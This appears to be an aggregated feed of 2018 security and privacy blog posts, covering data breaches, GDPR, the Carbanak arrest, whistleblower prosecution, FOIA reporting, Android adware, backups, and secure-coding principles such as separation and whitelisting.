After the unfortunate yet predictable Facebook episode involving Cambridge Analytica, several leaders in the technology industry were quick to pledge they would never allow that kind corporate misuse of user data.
The fine print in those pledges, of course, is the word ‘corporate,’ and it’s exposed a glaring weakness in the privacy protections that technology companies have brought to bear.
Last week at IBM Think 2018, Big Blue’s CEO Ginni Rometty stressed the importance of “data trust and responsibility” and called on not only technology companies but all enterprises to be better stewards of data. She was joined by IBM customers who echoed those remarks; for example, Lowell McAdam, chairman and CEO of Verizon Communications, said he didn’t ever want to be in the position that some Silicon Valley companies had found themselves following data misuse or exposures, lamenting that once users’ trust has been broken it can never be repaired.
Other companies piled on the Facebook controversy and played up their privacy protections for users. Speaking at a televised town hall event for MSNBC this week, Apple CEO Tim Cook called privacy “a human right” and criticized Facebook, saying he “wouldn’t be in this situation.” Apple followed Cook’s remarks by unveiling new privacy features related to European Union’s General Data Protection Regulation.
Those pledges and actions are important, but they ignore a critical threat to privacy: government overreach. The omission of that threat might be purposeful. Verizon, for example, found itself in the crosshairs of privacy advocates in 2013 following the publication of National Security Agency (NSA) documents leaked by Edward Snowden. Those documents revealed the telecom giant was delivering American citizens’ phone records to the NSA under a secret court order for bulk surveillance.
In addition, Apple has taken heat for its decision to remove VPN and encrypted messaging apps from its App Store in China following pressure from the Chinese government. And while Tim Cook’s company deserved recognition for defending encryption from the FBI’s “going dark” effort, it should be noted that Apple (along with Google, Microsoft and of course Facebook) supported the CLOUD Act, which was recently approved by Congress and has roiled privacy activists.
The misuse of private data at the hands of greedy or unethical corporations is a serious threat to users’ security, but it’s not the only predator in the forest. Users should demand strong privacy protections from all threats, including bulk surveillance and warrantless spying, and we shouldn’t allow companies to pay lip service to privacy rights only when the aggressor is a corporate entity.
Rometty made an important statement at IBM Think when she said she believes all companies will be judged by how well they protect their users’ data. That’s true, but there should be no exemptions for what they will protect that data from, and no denials about the dangers of government overreach.
The post Privacy protections are needed for government overreach, too appeared first on Security Bytes.
Under Armor announced this week that approximately 150 million users of the diet and fitness app MyFitnessPal had their personal information acquired by an unauthorized third party sometime in February 2018. As Reuters noted, it is the largest data breach of 2018 in terms of the number of records affected.
The breach was discovered on March 25, and the data compromised includes usernames, email addresses, and hashed passwords — the majority of which used bcrypt, the company said.
“The affected data did not include government-issued identifiers (such as Social Security numbers and driver’s license numbers) because we don’t collect that information from users,” the company said in a statement. “Payment card data was not affected because it is collected and processed separately.”
MyFitnessPal also said that it would be requiring users to change their passwords and is urging users to do so immediately. The company is also urging users to review their accounts for suspicious activity as well as to change passwords on any other online accounts that used the same or a similar password to their now-breached MyFitnessPal credentials.
It is unclear how the unauthorized third party acquired the data, and the investigation is ongoing. Under Armour bought MyFitnessPal in February 2015 for $475 million.
Other trending cybercrime events from the week include:
SurfWatch Labs collected data on many different companies tied to cybercrime over the past week. Some of the top trending targets are shown in the chart below.
Law enforcement officials in Spain have arrested the alleged leader of the cybercriminal syndicate behind the Carbankak and Cobalt malware attacks, which have targeted more than 100 financial organizations around the world and caused cumulative losses of over €1 billion since 2013.
Europol’s press release did not name the alleged mastermind behind the group; however, Bloomberg reported that Spain’s Interior Ministry named the suspect as Denis K, a Ukrainian national who had accumulated about 15,000 bitcoins (worth approximately $120 million at the time of his arrest). Europol noted that numerous other coders, mule networks, and money launderers connected to the group were also the target of the international law enforcement operation.
The group first used the Anunak malware in 2013 to target financial transfers and ATM networks, and by the following year they had created a more sophisticated version of the malware known as Carbanak, which was used by the group used until 2016. At that point the group carried out an even more sophisticated wave of attacks using custom-made malware based on the Cobalt Strike penetration testing software, Europol said.
“The criminals would send out to bank employees spear phishing emails with a malicious attachment impersonating legitimate companies,” Europol wrote in a press release. “Once downloaded, the malicious software allowed the criminals to remotely control the victims’ infected machines, giving them access to the internal banking network and infecting the servers controlling the ATMs. This provided them with the knowledge they needed to cash out the money.”
Carlos Yuste, a Spanish police chief inspector who helped lead the operation, told Bloomberg that “the head has been cut off” of the high-profile group. Steven Wilson, Head of Europol’s European Cybercrime Centre, said that the arrest illustrates how law enforcement “is having a major impact on top level cybercriminality.”
This week, Executive Director of Source Boston 2018 Rob Cheyne joins us for an interview! Paul delivers the Technical Segment this week entitled, Cutting The Cord: The Ideal Home Network Setup! In the Security News, we have updates from Apple macOS, Windows 7 Meltdown patch, Atlanta’s Ransomware attack, a special appearance in the Security News from Apollo Clark, and more on this episode of Paul’s Security Weekly!
Full Show Notes: https://wiki.securityweekly.com/Episode553
Visit https://www.securityweekly.com/psw for all the latest episodes!
This blog has been updated as of 4/4.
Practically everything has become digitized in 2018. We’ve developed thousands of health apps and gadgets to help monitor our fitness, implemented online ordering services for restaurants, the list goes on. And just this past week – two of these very innovations have been breached for customer data, as well as two traditional brick-and-mortar sites. MyFitnessPal, Panera Bread, and Saks Fifth Avenue and Lord & Taylor have all been faced with data breaches, which have compromised millions of customers.
Let’s start with MyFitnessPal. Just last week, it was revealed that 150 million accounts for the health app and site were breached. As of now, few details have emerged about how the attack happened or what the intention was behind it. While the breach did not compromise financial data, large troves of other personal information were affected. The impacted information included usernames, email addresses, and hashed passwords.
MyFitnessPal, which is a subsidiary of Under Armour, has notified affected customers of the breach (see below), and Under Armour has released an official statement making the public aware of the attack as well.
Then there’s Panera Bread. The popular food chain actually leaked customer data on their website in plain text. This data includes names, email addresses, home addresses, birth dates and final four credit card digits. It’s not clear whether anyone malicious actually accessed any of this data yet, which was supplied by customers who had made online accounts for food delivery and other services. What’s more – a security researcher first flagged this error to Panera Bread eight months ago, which did not acknowledge it until just now. And though the initial number of impacted users was said to be fewer than 10,000 customers, security reporter Brian Krebs estimates that as many as 37 million Panera members may have been caught up in the breach.
Finally there’s Saks Fifth Avenue and Lord & Taylor. A group of cybercriminals has obtained more than five million credit and debit card numbers from customers of the two high-end clothing stores. It appears this data was stolen using software that was implanted into the cash register systems at brick-and-mortar stores and siphoned card numbers.
So, for the millions of affected MyFitnessPal, Panera Bread, and Saks and Lord & Taylor customers, the question is – what next? There are a few security steps these users should take immediately. Start by following these pointers below:
And, of course, to stay on top of the latest consumer and mobile security threats, be sure to follow me and @McAfee_Home on Twitter, listen to our podcast Hackable? and ‘Like’ us on Facebook.
The post MyFitnessPal, Panera Bread, Saks Fifth Avenue: What to Know About the Recent Data Breaches appeared first on McAfee Blogs.
With less than two months before the European Union’s General Data Protection Regulation goes into effect, Apple is making notable changes in the name of user privacy. For everyone.
While all companies that collect data from EU data subjects will be subject to the GDPR, Apple has stepped up to announce that privacy, being a fundamental human right, should be available to everyone, including those outside the protection of the EU.
In a move that is raising hope for anyone concerned about data privacy, Apple GDPR protections will be offered to all Apple customers, not just the EU data subjects covered by the GDPR.
The new privacy features are part of Apple’s latest updates to its operating systems — macOS 10.13.4, iOS11.3 and tvOS 11.3 — released on Thursday. The most obvious change, for now, will be a new splash screen detailing Apple’s privacy policy as well as a new icon that will be displayed when an Apple feature wants to collect personal information.
More Apple GDPR support will come later this year when the web page for managing Apple ID accounts is updated to allow easier access to key privacy features mandated under the EU privacy protection regulation, including downloading a copy of all their personal data stored by Apple, correcting account information and temporarily deactivating or permanently deleting the account. The Apple GDPR features will roll out to the EU first after GDPR enforcement begins, but eventually they will be available to every Apple customer no matter where they are.
Speaking at a town-hall event sponsored by MSNBC the day before the big update release, Apple CEO Tim Cook stressed the company profits from the sale of hardware — not the sale of personal data collected on its customers. Cook also took a shot at Facebook for its latest troubles related to allowing improper use of personal data by Cambridge Analytica, saying that privacy is a fundamental human right — a sentiment also spelled out in the splash screen displayed by Apple’s new OS versions.
Anyone concerned about data privacy should welcome Apple’s move, but it may not be as easy for other companies to follow Apple’s lead on data privacy, even with the need to comply with GDPR.
The great thing about the Apple GDPR compliance for everyone move is that it shows the way for other companies: rather than attempting to maintain two different systems for privacy protections, companies can choose to raise the ethical bar for maintaining and supporting personal data privacy to the highest standard, set by the GDPR rules, or they can go to the effort and expense of complying with GDPR only to the extent necessary by law.
On the one hand there is the requirement for GDPR-compliance regarding EU data subjects, where consumers are granted the right to be forgotten and the right to be notified when their data has been compromised, among other rights. On the other hand, companies can choose to continue to collect and trade personal data of non-EU data subjects and evade consequences for privacy violations on those people by complying with the minimal protections required by the patchwork of less stringent legislation in effect in the rest of the world.
While a technology company like Apple can focus its efforts on selling hardware while protecting its customers’ data, it remains to be seen what the big internet companies — like Facebook, Google, Amazon and Twitter — will do.
Companies whose business models depend on the unfettered collection, use and sale of consumer data may opt to build a two-tier privacy model: more protection for EU residents under GDPR, and less protection for everyone else.
As a member of the “everyone else” group, I’d rather not be treated like a second-class citizen when it comes to privacy rights.
The post Apple GDPR privacy protection will float everyone’s privacy boat appeared first on Security Bytes.
The Trump Justice Department escalated its crackdown on journalists’ sources and whistleblowers this week, charging former FBI special agent Terry Albury with two counts under the Espionage Act for allegedly leaking information to an unnamed news outlet, widely believed to be The Intercept.
The case is yet another example of the outrageous—and recently, far too common—use of the World War I-era law, to persecute the sources of journalists for the crime of informing the American public. The fact that whistleblowers have been thrown in jail with increasing regularity using a law meant for spies should be an outright scandal. As First Look Media, The Intercept’s parent company, said through their Press Freedom Fund, “The misuse of the Espionage Act chills truth tellers, impedes investigative reporting, and compromises the democratic process.”
But it’s also important to understand what Mr. Albury is alleged to have leaked and how it makes him a true whistleblower. News reports indicate he is accused of providing The Intercept documents related to its “FBI’s Secret Rules” reporting project, an important series of articles that looks into how the FBI secretly conducts investigations.
Notably, the very first story The Intercept published in that series was about a document containing the FBI’s classified rules for specifically targeting journalists with National Security Letters (NSLs), the controversial and due process-free surveillance tool that the agency can serve on telecom companies like AT&T and Verizon to spy on journalists and root out their sources.
The Justice Department’s strict rules for when they can and can’t conduct surveillance of journalists are supposed to governed by the agency’s “media guidelines,” which the Obama administration updated and strengthened after several embarrassing scandals when the Obama-era Justice Department was caught surveilling journalists. But critically, NSLs are completely exempt from those rules.
Instead, the rules for using NSLs against journalists are in the classified appendix of the FBI’s “Domestic Investigations and Operations Guide” (DIOG), under the heading “National Security Letters for Telephone Toll Records of Members of the News Media or Media Organizations.” The secret rules allow the Justice Department to use NSLs with virtually none of the restrictions or safeguards that are in place if they attempted to get a subpoena or court order for a journalist’s private telephone toll records. You can see the leaked version of the rules from here:
Along with Knight First Amendment Institute at Columbia, we are currently suing the Justice Department under the Freedom of Information Act for the current versions of these documents.
But as you can see from the leaked 2013 version, it’s absurd these rules were ever classified in the first place. There’s nothing “damaging” to national security for the public to know the FBI’s “approval requirements” consist of merely getting an additional sign off from a superior to target a journalist with an NSL. It’s clear from looking at the document that the classification system is being abused to cover up embarrassing and controversial practices which have no business being stamped secret.
Instead, it’s likely that the government wants these rules kept secret so that the FBI can continue to circumvent the DOJ media guidelines and spy on journalists in secret, without facing any public scrutiny of the practice.
The prosecution of Mr. Albury is outrageous, but if he was The Intercept’s source, then he exposed the government’s secret powers to spy on news organizations with no oversight. For that, he should be viewed by journalists as a hero.
Disclosure: First Look Media, The Intercept’s parent company, provides Freedom of the Press Foundation with an annual grant and three employees of First Look, Glenn Greenwald, Laura Poitras, and Micah Lee, sit on FPF’s board. They were not consulted in the drafting of this blog post.
Everywhere you turn today, machine learning and artificial intelligence are being hyped as both a menace to and the savior of the human race. This is perhaps especially true in cybersecurity.
What these alluring terms usually mean is simply related to detailed statistical comparisons derived from massive data collections. Let’s look at the terms themselves:
At McAfee we are urging our customers to take a long and comprehensive view of human-machine teaming that looks beyond the current, cool-factor buzz. You can make it real, make it practical, and make it scalable, but what does that look like? I recently gave an analogy that can help business people understand this topic in a white paper called “Driving Toward a Better Understanding of Machine Learning.” You can download it here.
As a metaphor representing malware threats, I introduced the concept of malicious autonomous cars: self-driving cars that have been programmed to do bad things. For example, posing as taxis, malicious autonomous cars could trick and kidnap people. (Much the way ransomware could masquerade as an email attachment, then “kidnap” your critical user files, and demand payment.)
The machines are learning, and to stay secure we must learn as well. Let’s do it together.
The post How the Rubber Meets the Road in Human-Machine Teaming appeared first on McAfee Blogs.
Over the past year, our scans of thousands of applications and billions of lines of code found a widespread weakness in applications, which is a top target of cyber attackers. And when you zoom in from a big picture view down to a micro-level, there are a few industries that are struggling to keep up with the rapidly changing cybersecurity landscape and combat the tactics of malicious actors today.
One of these sectors is healthcare. Healthcare organizations hold some of the most sensitive personal data, yet they have been victims of several high-profile breaches in recent years. In 2017 alone, healthcare data breaches increased, with one breach impacting more than one million individuals, and 14 breaches of more than 100,000 records. According to the CA Veracode 2017 State of Software Security report (SOSS), which includes scan data collected from our own platform over the past year, healthcare organizations made security strides, increasing OWASP policy compliance by an average nine percent between an application’s first and last scan. But healthcare applications had a high prevalence of flaws in the information leakage (55 percent) and cryptographic issues (52 percent) categories.
The Raw State of Untested Software
In theory, the growing awareness of security within the developer community should be prodding the overall body of coders to improve their daily programming best practices. Unfortunately, the stats don’t reflect this. We saw OWASP pass rates, for example, drop by about eight percentage points from last year. However, this may be related to the new companies added to the scan, including healthcare, hospitality and retail apps being scanned for the first time this year.
On the bright side, OWASP pass rates have improved by a statistically significant number compared to our initial data in 2010. And when organizations first scan their applications for vulnerabilities, they’re bound to find flaws. Still, we hope that our research into vulnerability prevalence would show a little bit of improvement on the raw state of software before security testing. If you’re looking for a silver lining, note that the lowest performing industries (healthcare and government) in last year’s SOSS study experienced the smallest declines in pass rate year-over year. That silver lining becomes a mere sliver when you look at the percentage of applications affected and the top three vulnerabilities in the healthcare industry, which includes information leakage (55.2 percent), cryptographic issues (51.5 percent) and code quality (35.1 percent).
And this year, we also took a peek at how many applications within an industry were undergoing their first policy scan as compared to the rest of the portfolio under current testing. A higher percentage of new applications undergoing their first policy can, such as healthcare, tends to suggest that those organizations are just getting started with their application security maturity process.
Meanwhile, healthcare among other industries on-boarded the most applications relative to the size of their portfolios. This could go a long way toward explaining their good performance in remediation from first scan to latest scan. With so many new applications added, these industries likely were able to take care of a lot of low-hanging fruit, namely easy-to-fix flaws that were newly found.
How to Scale Up Security Success
The good news is that it’s not all doom and gloom. For instance, the latest SOSS report highlights manufacturing and aerospace organizations have already made security part of their software development process. As a result, they have the highest OWASP pass rate on latest scan (30.5 percent) of any industry grouping, and the lowest proportion of applications undergoing their first assessment (nearly 40 percent). It goes to show that if you stick with a solid security program, improve security through testing and give your developers the resources they need for testing and remediation, then all industries will be able to improve their application security posture — including healthcare.
Our research shows that organizations that do testing and remediation are prioritizing the worst vulnerabilities, reducing flaw density on very high and high severity flaws at twice the clip of the overall field of vulnerabilities. Nevertheless, only 14 percent of the most severe flaws are fixed in under a month, and nearly 12 percent of applications have at least one high or very high severity flaw.
The latest SOSS report lets us think long and hard about where we need to go in order to achieve AppSec maturity. And while it seems like we are moving the application security needle slowly, there is a bright light at the end of the tunnel. With the right program in place, all industries can improve the state of software security. Looking to improve AppSec in your organization? Consider testing early and often, give developers the resources they need, and fix what you can, starting with the bugs that matter the most.
The amount we use our apps and the amount of apps we use has shown no signs of slowing. And as the McAfee Labs Threats Report: March 2018 tells us, mobile malware has shown no signs of slowing either. Now, a tricky Android malware dubbbed Andr/HiddnAd-AJ is adding to the plethora of mobile strains out there. The malware managed to sneak onto the Google Play Store disguised as seven different apps – which have collectively been downloaded over 500,000 times.
Slipping onto the Google Play store via six QR reader apps and one smart compass app, the malware manages to sneak past security checks through a combination of unique code and no initial malicious activity. Following installation, Andr/HiddnAd-AJ waits for six hours before it serves up adware. When it does, it floods a user’s screen with full-screen ads, opens ads on web pages, and sends various notifications containing ad-related links, all with the goal of generating click-based revenue for the attackers.
These apps have since been taken down by Google, however, it’s still crucial that Android users are on the lookout for Andr/HiddnAd-AJ malware and other adware schemes like it. Start by following these security tips:
And, of course, to stay on top of the latest consumer and mobile security threats, be sure to follow me and @McAfee_Home on Twitter, listen to our podcast Hackable? and ‘Like’ us on Facebook.
The post Seven Android Apps Infected With Adware, Downloaded Over 500,000 Times appeared first on McAfee Blogs.
At one point in my career, I was responsible for launching massive websites. We’d talk about when and how we flip the switch to launch the new website. At least once during every project someone would ask me who got to flip the switch, as though we would have a dignitary (or them?) do it. But depending on the year, the flipping on of a website was handled through technology and not very dramatic and not with the fanfare the non-technologists hoped for. (Dimming lights? Fireworks? It was New York and it was publishing, so there was often beer and wine and maybe T-shirts after, but everyone went home and slept.)
And now we have May 25th coming around the corner. The other day, I got a picture in a text from a colleague of a can of sardines. It took me a minute to realize the expiration was May 25. So, other than the sardines, what happens? Are we done?
First the bad news: We won’t ever be done. GDPR requires constant diligence for its principles, recurring reviews of the processes we’ve built; ongoing use of Data Processing Impact Assessments; vigilance on how we process, store, transfer, use personal data; communications with our customers; new contractual language and new things to negotiate; ongoing discussions around security and what is appropriate. And of course, the biggest question: What will the data regulators do? Will there be an immediate fine? (My bet is no.)
But now the good news: If you’ve been doing this right and have managed to focus on the concepts of Great Data Protection Rocks and a culture of security, the following things may have happened:
Perhaps most importantly, your company now has momentum around doing the right thing regarding data protection. And May 25th will come – too soon, not soon enough, or both! – and the lights won’t dim but there might be T-shirts.
It would be easy to forget GDPR’s lessons. In the United States, Monday, May 28th, is Memorial Day, and we pull out summer clothes, take off to mark the start of summer, and remember our heroes. But on that Monday and Tuesday and every day after, Great Data Protection will still Rock, and we will still need to look at data, how it’s used, and how our culture can protect it. Just maybe throw out the sardines if they don’t get eaten beforehand (or leave them on the doubter’s desk as a joke).
The information provided on this GDPR page is our informed interpretation of the EU General Data Protection Regulation, and is for information purposes only and it does not constitute legal advice or advice on how to achieve operational privacy and security. It is not incorporated into any contract and does not commit promise or create any legal obligation to deliver any code, result, material, or functionality. Furthermore, the information provided herein is subject to change without notice, and is provided “AS IS” without guarantee or warranty as to the accuracy or applicability of the information to any specific situation or circumstance. If you require legal advice on the requirements of the General Data Protection Regulation, or any other law, or advice on the extent to which McAfee technologies can assist you to achieve compliance with the Regulation or any other law, you are advised to consult a suitably qualified legal professional. If you require advice on the nature of the technical and organizational measures that are required to deliver operational privacy and security in your organization, you should consult a suitably qualified privacy professional. No liability is accepted to any party for any harms or losses suffered in reliance on the contents of this publication.
The post The Tortoise and The Hare Part II: May 25th is a Friday, or Great Data Protection Rocks even after Memorial Day appeared first on McAfee Blogs.
Freedom of the Press Foundation is launching @FOIAFeed today, a new project that aims to automatically find and surface reporting that uses the Freedom of Information Act or other public records laws to obtain source material.
@FOIAFeed is a Twitter bot that reads stories as they are published from over a dozen major news organizations, and posts links and excerpts to Twitter whenever it finds a relevant article. In our experience so far, the bot turns up new and important stories nearly every day. You can follow @FOIAFeed here.
There’s no doubt that the FOIA process is cumbersome, and in some ways, badly broken. But investigative journalism that digs into primary source documents obtained through public records laws is interesting and substantial work, and we like to shine a spotlight on that reporting.
@FOIAFeed's results show that public records laws enable that kind of investigation across a broad cross-section of subjects. In just the last few days, it has posted stories about the political rise of certain career officials in the Trump administration, links between campaign contributions and sting operations against men who patronize sex workers, and apparent age discrimination among employees at tech giant IBM.
CNN: Emails reveal DOJ would have 'very little involvement' if Trump tweeted a pardon https://t.co/P7Hp8F2FbX pic.twitter.com/3Y3PcMRHjM
— FOIA // FEED (@FOIAfeed) March 28, 2018
Public records as a through-line between this diverse array of stories may not be obvious, but we hope that people interested in the mechanics of journalism will get some value out of seeing these stories compiled together.
Beyond that, we have two major goals for the @FOIAFeed project. One is to inspire journalists to see what their peers are doing with public records laws, and to hopefully find ways to push the envelope even further. We've heard from journalists that the world of FOIA requests can seem insular and intimidating, not least because of inadequacies in the law. Requests get ignored, while others take years and come back almost completely censored, like this recent Miami Herald story that was just picked up by @FOIAFeed:
Miami Herald: We asked for Gitmo prison’s book policy in 2013. It arrived this week, censored https://t.co/d3Q3P74j86 pic.twitter.com/blCipeJcQr
— FOIA // FEED (@FOIAfeed) March 28, 2018
Despite its flaws, FOIA can produce powerful results. We hope that a steady stream of examples can help reduce the threshold for journalists to dive in (or even for FOIA pros to pick up new ideas).
A second goal is to underscore the importance of public records laws in investigative reporting. Highlighting the tools that journalists use to report their stories can help advocates for those tools, both when there is opportunity to expand and improve them (as with the FOIA Improvement Act of 2016, for example) or when there is a need to defend them (as with the recent "cyber-security" exemption added to Michigan's public records law, or the successful push to prevent a gutting of the Washington Public Records Act).
Currently, @FOIAFeed is monitoring news stories from the Associated Press, Reuters, the Los Angeles Times, the New York Times, Buzzfeed News, the Washington Post, the Chicago Tribune, the Miami Herald, CNN, Gizmodo, ProPublica, The Intercept, and the Marshall Project. It relies on RSS feeds from those organizations, and we plan to expand in the coming days to cover more outlets that engage in public records reporting and offer such feeds.
Additionally, we will soon be releasing the underlying source code that powers @FOIAFeed, and we hope it will be useful to other potential bot developers. Our bot focuses on public records laws, but as we develop and generalize it, we think it could be used as a broader public news alert system on any topic you’d like.
Paiman Nodoushan has been working at CA Veracode for about two months. In that time, he's met a lot of his peers and claims he already remembers over 50% of their names, no small feat. Jokes aside, he's been getting to know his team, our projects, and the ins and outs of our entire SaaS operation. In our quick interview, he describes the team at Veracode as hard working and passionate, and goes on to point out that:
"One thing that I don't think people actually realize is how difficult it is to build a whole SaaS operation. From pre-sales through sales, to engineering, product management, and to post-sales, connecting to all the backend systems that exist - it takes years for companies to go and build that."
We're lucky our Founders had the foresight to keep us focused on a SaaS model in our earliest days, and that we have a leader like Paiman joining us to help drive further improvements in those operations. Paiman is headed to the RSA Conference with many others from the CA Technologies and Veracode teams; this will be his first RSA Conference ever.
Paiman lists three things he's looking to accomplish at the RSA Conference this year:
Be sure to catch Paiman at the CA Veracode booth this year and watch the full interview below to get to know him some more.
As spring blossoms into full-force, millions of people will start to shed the heavy baggage and gear that kept them warm during winter by partaking in a tried and true practice: spring cleaning. While whipping yourself into a cleaning frenzy around your home, take a moment to extend your spring cleaning efforts into your digital environments as well. And there’s no better time to kick off a digital spring cleaning than during World Backup Day.
What exactly is World Backup Day? I’m glad you asked.
In today’s day and age, data is basically digital gold. It’s imperative to ensure your information is organized and backed up—not just for peace-of-mind, but to protect yourself against potential malware and ransomware threats. Still, a large number of people have never backed up their files, leaving themselves vulnerable to losing everything. In fact, this has become such a systemic problem that a whole day has been devoted to reversing this trend: World Backup Day. One of the main goals of the World Backup Day initiative is to reach people who have never backed their data up or people who aren’t even aware that data backups are a thing, let alone a crucial security measure.
For those who may not know, a backup is a second copy of all your important files and information, everything from photos and documents to emails and passwords. Storing all of that data in one place, like a personal computer or smartphone, is a woefully unsafe practice. Creating another copy of that data through a backup will ensure that it’s stored and kept safe somewhere else should catastrophe befall your personal mobile devices, or if they’re lost or stolen.
Data loss isn’t something that only happens to huge conglomerates or to unsuspecting victims in spy movies. Every individual is susceptible to data loss or theft, and backing up that data is an easy, relatively painless step to protect all of your personal information and prevent pesky hackers from truly swiping your stuff.
Think about it—if you’re targeted by a nasty piece of ransomware but have successfully performed a data backup, there’s absolutely no need for you to pay the ransom because you have a second, secure copy of all that data. It’s a simple preventative measure that can pay off big time should worse come to worst. Even the STOP. THINK. CONNECT. campaign, dedicated to increase awareness around cybersecurity and provide information to help digital citizens protect against malware, lists regular data backups as an important security action to safeguard yourself against cybercrime.
There are two main approaches to backing up your data: either in the cloud or on an external hard drive. A cloud-based backup solution is great for people who don’t want to actively back up their devices and data or worry about the space constraints that come with most external hard drives. Simply subscribing to one of these cloud solutions will do the trick—your device’s files and data will automatically be backed up and protected without you having to lift more than a finger. Cloud-based services typically come with a monthly fee, and you’ll need a good internet connection to access them. If your connection is wonky or the site is undergoing maintenance, it can be difficult to access your backed-up data.
With an external hard drive, you can manually back up all your data and files yourself onto a physical device that you have access to anytime, anywhere. These drives are extremely reliable and a great way to achieve data redundancy. An external hard drive doesn’t hinge on internet access like cloud-based services and is an easy fix when transferring data to a new device. However, using external hard drives requires a more hands-on approach when it comes to actually backing up your data. The responsibility falls upon you to regularly perform these backups yourself. Storage space can also pose a problem. Look for an external drive with at least a terabyte of space to accommodate all of your data, which tends to accumulate quickly.
Here are some other digital spring cleaning tips to consider this World Backup Day:
Interested in learning more about IoT and mobile security tips and trends? Follow @McAfee_Home on Twitter, and ‘Like’ us on Facebook.
The post Kick Off Your Digital Spring Cleaning Efforts During World Backup Day appeared first on McAfee Blogs.
This week, Paul is joined by our very own Keith Hoodlet to review the book The Phoenix Project! In the news, we have updates from Cisco, Distil Networks, BeyondTrust, Cambridge Analytica, and more on this episode of Enterprise Security Weekly!
Full Show Notes: https://wiki.securityweekly.com/ES_Episode85
Visit https://www.securityweekly.com/esw for all the latest episodes!
While ransomware attacks like NotPetya and WannaCry were making headlines (and money) in 2017, cryptocurrency mining was quietly gaining strength as the heir apparent when it comes to opportunistic behaviors for monetary gain.
Cloud computing is the subject of the era and is the current keen domain of interest of organizations. Therefore, the future outlook of this technology is optimisticly considered to be widely adapted in this domain. On the other hand, moving to cloud computing paradigm, new security mechanism and defense frameworks are being developed against all threats and malicious network attacks that threaten the service availability of cloud computing for continuity of public and private services. Considering the increasing usage of cloud services by government bodies poses an emerging threat to e-government and e-governance structures and continuity of public services of national and local government bodies. IoT, industry 4.0, smart cities and novel artificial intelligence applications that require devices to be connected and ever present cloud platforms, provide an increasing wide range of potential zombie armies to be used in Distributed Denial of Service (DDoS) attacks which are omongst the most critical attacks under cloud computing environment. In this survey, we have introduced the recent reports and trends of this attack and its effects on the service availability on various cloud components. Furthermore, we discuss in detail the classification of DDoS attacks threatening the cloud computing components and make analysis and assessments on the emerging usage of cloud infrastructures that poses both advantages and risks. We assert that considering various kinds of DDoS attack tools, proactive capabilities, virtual connecting infrastructures and innovative methods which are being developed by attackers very rapidly for compromising and halting cloud systems, it is of crucial importance for cyber security strategies of both national, central and local government bodies to consider pertinent preemptive countermeasures periodically and revise their cyber strategies and action plans dynamically.
The life of a commercial software developer is a difficult one. Or at least we have to assume it is because of how many of them half-ass it when code starts to get complicated.
Okay, maybe that’s unfair. Maybe it’s not all half-assing. It’s complicated. Literally.
There’s many functions that are overly complex. They are so complex with so many variables and interactions as to be actually untestable.
This is the 4th article of a pragmatic series to help you understand security in new and practical ways that you can apply immediately to improve software. So check back regularly and get a new story or learn about software security, whichever, and be sure to take the little quiz at the end. Somebody once forgot the quiz and a bad thing happened as an indirect result. Don’t let that happen to you.
Furthermore, coding security into these complex applications can also prevent the testing of the security. Especially if part of that security is to encrypt, obfuscate, or separate the app code from reverse engineering. This creates code that may be more secure but untestable and unmaintainably secure. That means that any changes to the software will be untestable and the security functions will be unverifiable.
And by code being unmaintainably secure, you run into the problem where it becomes really difficult to know what certain parts of the code even do. Besides being a bugfix issue, it’s a continuity issue since you can’t pass it off to other developers should the original developer leave. Because of that you end up seeing blocks of code separated into little cages by comments that says, “Don’t know what this does but if you delete it then everything will stop working. DON’T DELETE!!!”
Which brings us to the first point of security. Security is a function of separation. Either the separation between an asset and any threats exists or it does not. There are only 3 logical and proactive ways to create this separation:
There is a fourth, which is destroy the asset, but that’s not really logical for business so let’s put that one aside.
In creating software, the concentration is often on the first and second means of separation. First, we choose environments where certain threats cannot exist and can then classify the software as “internal” or “not for high-risk environments”. This way its use outside of the classification is supposedly the choice of the user. However, this concept has fallen out of favor over the years as increased inter-connectivity (intended or not) has dropped perimeter security all the way back to the application itself and applications have become gateways. For example, a browser is an interactive gateway with many untrusted systems and no perimeter security therefore no classification as “internal only” can help protect it.
In the second, software designers are looking to filter interactions so that anything which can harm the environment or the application is removed. This is a means of changing the threat to a harmless state. However, this requires untrusted interaction with the filter, also a part of the program, and therefore increases the attack surface of the application. This is one of those cases where assuring the filter doesn’t share resources with the application it’s protecting. Additionally it's not possible to know what the threats are or all the possible types of attacks because we can't know all possible motivations. Therefore applications need to focus on what it can accept and this is known as whitelisting.
In whitelisting, we choose what we want or can work with from an interaction. So instead of filtering out the bad, we select the useful (good and bad intentions are currently difficult to discern before an attack so they have no function in a passive filter) from an interaction and change or ignore the rest. So if all elements of the interaction don’t match those in the whitelist the proper reaction is to change them to what is accepted (sanitize) or drop the whole interaction (fail safely).
But maybe you realize you’re making a whole lot more filters then you want to. Or maybe you realize that whitelist filters just aren’t possible. So maybe you should think about what untrusted interactions should be allowed from the start. Doing this is how you begin to simplify securing complex applications.
Separation is a powerful security tactic but only if it’s applied correctly. It’s strongest when used as a preventative rather than a control. That means it’s better to not have an interaction than have it and need to control it.
Therefore when applying security to applications we need to see where there is the possibility for interaction and where there is not. We know some, all, or even none of these interactions may be required for operations. Like doors into a building, some of the doors are needed for customers and others for workers. However, each door is an interactive point which can increase both necessary operations and unwanted ones, like theft. In software, interactions can occur with users and systems, both trusted and untrusted, but also between the application and system components such as memory, keyboard, peripherals like printers and USB devices, and the hard drive.
All these interactive points together are known as the porosity and it’s what operational security is all about. I’m sure you’ve heard of opsec, right? It’s securing the stuff in motion, like a compiled or running application to assure a separation between a threat and an asset.
The porosity consists of 3 elements: Visibility, Access, and Trust, which further describes its function in these interactions so that the appropriate controls can be put in place. This is extremely important because security controls all match to specific protections of interactions. For example, the Confidentiality control which includes Encryption and Obfuscation, among other things, cannot prevent the message from getting stolen, changed, or destroyed. It can only delay in its getting read. Therefore if the goal is to protect the message, adding encryption will only protect it from one type of threat, the getting read part.
To apply the concept of porosity to coding, address the following:
On a final note, we didn’t cover the “destroy the threat” part of logical separation. It wasn’t because we ran out of time. It’s because even if you can detect and respond to a threat, it’s an active defensive mechanism that can go badly if you’re not careful. Things like this are not easy to automate and unless you’re developing a security product, it’s better not in the application at all. For example, IP jailing and account lock-outs are commonly used however when applied to untrusted users over the Internet you need to be sure that the mechanism can’t be used to cause a denial of service attack against a legitimate user. In one case, the developer didn’t allow the mechanism to whitelist specific IPs that could not be blocked and an attacker forged the IP address of the gateway router from the organization and they blocked themselves from all traffic to the application.
